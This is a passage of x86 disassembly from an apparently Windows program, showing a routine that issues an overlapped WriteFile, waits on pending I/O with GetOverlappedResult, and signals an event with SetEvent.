jne 0x45d93d
mov dword [ebp - 0x18], 0
jmp 0x45d946
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x40
push ecx
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x45d9b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x45d9a4
push 1
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x40
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x45d9a2
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x8c], 0
jmp 0x45d9b1
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x8c], 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esp, ebp
pop ebp
ret